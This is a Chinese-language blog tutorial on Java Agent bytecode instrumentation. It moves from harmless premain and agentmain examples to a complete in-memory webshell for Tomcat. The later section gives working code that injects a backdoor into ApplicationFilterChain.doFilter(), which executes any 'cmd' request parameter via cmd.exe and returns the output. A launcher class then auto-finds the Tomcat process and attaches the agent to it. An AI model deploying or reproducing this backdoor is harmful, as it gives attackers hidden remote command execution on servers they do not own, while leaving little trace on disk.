Java Agent及其内存马实现

Java Agent 是一种可以在 Java 虚拟机(JVM)启动时或运行时加载的 Java 程序。它通过 java.lang.instrument 包提供的接口进行代码插桩,从而在 Java 应用程序的类加载和运行期间改变 Java 字节码


关于Agent

Agent的主要用途就是修改程序的字节码文件,通过外挂的jar包实现对程序jar包进行修改。Agent的运行方式有两种,一种通过在程序在通过java命令启动程序时通过加入-javaagent参数指定要加载的agent,例如

java -javaagent:self-agent.jar -jar app.jar

另一种方式是在程序正常启动后再载入我们的agent,这也是通过agent实现内存马的主要途径


构建Agent并执行

通过agent修改其他应用程序的字节码文件,需要一个包含修改逻辑的jar包,因此我们需要构建一个新的项目,再将其打包为jar文件,项目结构大致如下

image-20260115175908677

方法入口premain与agentmain

Agent类中,通过定义premain()agentmain()方法来指定jar包运行的入口,以上两个方法分别对应通过启动前挂载和启动后挂载两种方式

import java.lang.instrument.Instrumentation;

public class Agent {
public static void premain(String agentArgs, Instrumentation inst) {}

public static void agentmain(String agentArgs, Instrumentation inst) {}
}

两方法的参数中, agentArgs 接收传递给 Agent 的参数,此处可以用该参数进行自定义逻辑。比如使用启动时挂载agent时执行以下命令

java -javaagent:self-agent.jar=admin -jar app.jar

此时agentArgs接收的值将会是"admin"这个字符串

inst参数接收 Instrumentation 类型的数据,这其实是一个工具对象,可以利用该对象进行一些类的重新定义操作或是转换操作

元数据文件MANIFEST.MF

该文件约束了jar包的一些行为,有点类似于配置文件,通过该文件可以指定jar包的入口类等等,该文件下可以有以下条目

属性名 说明 取值 默认值 重要性
Premain-Class 静态加载 Agent 的入口类 JVM 启动时通过 -javaagent 参数加载 完整类名,如:Agent 必须(静态加载时)
Agent-Class 动态加载 Agent 的入口类 通过 VirtualMachine.attach() 在运行时加载 完整类名,如:Agent 必须(动态加载时)
Can-Redefine-Classes Agent 能否重新定义(替换)已加载的类 通过 Instrumentation.redefineClasses() true / false false 重要
Can-Retransform-Classes Agent 能否转换(修改)已加载的类 通过 Instrumentation.retransformClasses() true / false false 重要
Can-Set-Native-Method-Prefix 是否允许修改 Native 方法的前缀 用于拦截 Native 方法调用 true / false false 高级功能

构建配置pom.xml

通过配置pom.xml使我们的项目导出方式为jar-with-dependencies,还需要指定MANIFEST.MF的路径而不需要自动生成,主要是修改<build>标签下的内容

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.6.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>

依赖主要是修改字节码的包,比如javassistasm

通过premain()方法修改字节码

构建一个正常的app.jar程序,其主要功能是每隔一秒输出一句"hello world"

public class Main {
public static void main(String[] args) throws InterruptedException {
System.out.println("Hello World");
}
}

在我们定义的Agent类中,定义premain()方法,我们要用到Instrumentation的一些方法调用已加载的类并进行修改,常用的方法

方法 功能描述
getAllLoadedClasses() 获取 JVM 中所有已加载的类数组,可筛选关心的类
redefineClasses(ClassDefinition... definitions) 使用类定义重新定义指定的类
retransformClasses(Class<?>... classes) 使用已注册的 transformers 修改指定的类
addTransformer(ClassFileTransformer transformer) 注册类文件转换器
removeTransformer(ClassFileTransformer transformer) 注销类文件转换器

比如这里,我们尝试让先前app.jar不再打印"hello world"而是"hello Sekai",先获取Main类再尝试修改

public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new CustomTransformer(), true);
Class<?>[] classes = inst.getAllLoadedClasses();
for (Class<?> clazz : classes) {
if (clazz.getName().startsWith("Main")) {
inst.retransformClasses(clazz);
}
}
}

我们需要注册一个转换器去执行对类字节码的修改操作,该类需要实现ClassFileTransformer接口,重写transform()方法,我们在transform()方法中使用Javassist操作

public static class CustomTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (className == null || !className.equals("Main")) {
return null;
}
ClassPool pool = ClassPool.getDefault();
byte[] transformedBytes;
try {
CtClass ctClass = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod method = ctClass.getDeclaredMethod("main");
method.setBody("{ System.out.println(\"Hello Sekai\"); }");
transformedBytes = ctClass.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
return transformedBytes;
}
}

将该项目打包为jar,使用不同的方式启动程序则会打印不同的内容

image-20260115200722448

通过agentmain()方法修改字节码

为了便于表现效果,我们修改app.jar的逻辑让它循环打印”hello world”

public class Main {
public static void main(String[] args) throws InterruptedException {
while(true){
System.out.println("Hello world");
Thread.sleep(1000L);
}
}
}

好的,等我写到这句话的时候,现实世界已经过去快8个小时了,由于我一直尝试直接篡改main()方法的循环,但是实际上即使类被重新定义也是不会立即生效的,而是等到其安全退出,我犯了一个极其愚蠢的错误。接下来,我将使用循环套用另一个类的静态方法来达到相同的效果,并且这样也更符合实际情况

public class Main {
public static void main(String[] args) throws InterruptedException {
while(true){
SayHello.doHello();
Thread.sleep(1000L);
}
}
}

SayHello类的定义

public class SayHello {
public static void doHello() {
System.out.println("Hello world!");
}
}

接下来就是定义agentmain()方法了,其实大体上可以和premain()差不多

public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
CustomTransformer transformer = new CustomTransformer();
inst.addTransformer(transformer, true);

Class<?>[] classes = inst.getAllLoadedClasses();
for (Class<?> clazz : classes) {
String name = clazz.getName();
if (name.equals("SayHello")) {
inst.retransformClasses(clazz);
}
}
}

接下来是CustomTransformer类的构造,此处应该要把loader放进pool中,不然java会连一些很基础的类都找不到

public static class CustomTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) {

if (!className.equals("SayHello")) {
return null;
}

try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new LoaderClassPath(loader));
CtClass ctClass = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod target = ctClass.getDeclaredMethod("doHello");
target.setBody("{ System.out.println(\"Hello Sekai!\"); }");
return ctClass.toBytecode();
} catch (Throwable e) {
e.printStackTrace();
return null;
}
}
}

由于源代码里面我把SayHello类放在了根目录,如果是有包名的话,由于className默认以/作为分隔符,后面对类名进行筛选的时候可以直接用/分隔,或者为了通用一些对className处理一下

String dotted = className.replace('/', '.');

将项目导出为jar包,在主程序运行时可以通过一个程序运行,valueOf()方法内的参数为主程序运行的PID

public class Attach {
public static void main(String[] args) throws AgentLoadException, IOException, AgentInitializationException, AttachNotSupportedException {
VirtualMachine vm = VirtualMachine.attach(String.valueOf(26424));
vm.loadAgent("C:\\Users\\leyi\\IntelliJTest\\JavaAgentTest\\target\\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar");

}
}

或者直接通过jcmd命令行

jcmd 808 JVMTI.agent_load C:\Users\leyi\IntelliJTest\JavaAgentTest\target\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar

效果如下,这里只展示主程序的变化,WARNING出现的时候就是agent挂载时机

image-20260116013202851


Java Agent的内存马实现

通过agent修改运行时的类,为目标类对象添加我们定义的恶意逻辑

ApplicationFilterChain类是Tomcat执行Filter链的核心类,该类的doFilter()方法能够拿到每次请求的ServletRequestServletResponse对象,这对实现内存马回显是极好的

准备的恶意逻辑,插入doFilter()方法前,由于javassist不支持可变参数,这里看了ProcessBuilder类的构造方法需要传入一个列表,这里需要先构造列表,并且javassist不支持泛型,也不用写泛型了

{
String cmd = request.getParameter("cmd");
if (cmd != null) {
StringBuilder output = new StringBuilder();
ProcessBuilder processBuilder;
List command = new ArrayList();
command.add("cmd.exe");
command.add("/c");
command.add(cmd);
processBuilder = new ProcessBuilder(command);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
response.setContentType("text/html;charset=GBK");
response.getWriter().println(output);
}
}

编写agentmain()方法用于实现运行时加载agent,FilterChain类需要使用全限定名

public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
CustomTransformer transformer = new CustomTransformer();
inst.addTransformer(transformer, true);

Class<?>[] classes = inst.getAllLoadedClasses();
for (Class<?> clazz : classes) {
String name = clazz.getName();
if (name.equals("org.apache.catalina.core.ApplicationFilterChain")) {
inst.retransformClasses(clazz);
}
}
}

定义CustomTransformer类,需要导入必要的包,比如ListBufferedReader

public static class CustomTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) {

if (!className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
return null;
}

try {
ClassPool pool = ClassPool.getDefault();
pool.importPackage("java.util");
pool.importPackage("java.io");
pool.insertClassPath(new LoaderClassPath(loader));
CtClass ctClass = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod target = ctClass.getDeclaredMethod("doFilter");
target.insertBefore("{\n" +
" String cmd = request.getParameter(\"cmd\");\n" +
" if (cmd != null) {\n" +
" StringBuilder output = new StringBuilder();\n" +
" ProcessBuilder processBuilder;\n" +
" List command = new ArrayList();\n" +
" command.add(\"cmd.exe\");\n" +
" command.add(\"/c\");\n" +
" command.add(cmd);" +
" processBuilder = new ProcessBuilder(command);\n" +
" try {\n" +
" Process process = processBuilder.start();\n" +
" BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));\n" +
" String line;\n" +
" while ((line = reader.readLine()) != null) {\n" +
" output.append(line).append(\"\\n\");\n" +
" }\n" +
" } catch (IOException e) {\n" +
" throw new RuntimeException(e);\n" +
" }\n" +
" response.setContentType(\"text/html;charset=GBK\");\n" +
" response.getWriter().println(output);\n" +
" } " +
" }");
return ctClass.toBytecode();
} catch (Throwable e) {
e.printStackTrace();
return null;
}
}
}

此外,想要动态加载agent,需要知道当前服务器运行的PID,前面由于在本机上我直接通过jps命令即可获取,在攻击角度上,则需要这个jar包在运行时自动查找服务器运行的PID并执行加载agent命令

为jar包定义一个入口类,执行时自动运行该方法,该方法用于获取服务器进程PID和加载agent

public class Boot {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String pid = getPID("org.apache.catalina.startup.Bootstrap");
String jar = getJar(Boot.class);
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(jar);
}

public static String getJar(Class<?> clazz){
ProtectionDomain domain = clazz.getProtectionDomain();
URL location = domain.getCodeSource().getLocation();
String path = location.getPath();
if(System.getProperty("os.name").toLowerCase().contains("win")&&path.startsWith("/")){
path = path.substring(1);
}
return path;
}

public static String getPID(String className) {
try{
Process process = Runtime.getRuntime().exec("jps -l");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
if (line.contains(className)) {
return line.split(" ")[0];
}
}
}catch(IOException e){
e.printStackTrace();
}
return null;
}
}

需要在MF文件中配置入口类

Manifest-Version: 1.0
Main-Class: Boot
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Can-Set-Native-Method-Prefix: true

该方法在目标机器上寻找org.apache.catalina.startup.Bootstrap进程号,并识别自己的路径,之后通过PID获取VirtualMachine对象,将自己的路径也就是agent路径载入服务器进程

将程序打包,在目标机器上执行以下代码,即可通过篡改内存中ApplicationFilterChain的字节码实现内存马的效果

java -jar path/to/agent.jar

效果如下

image-20260116215731267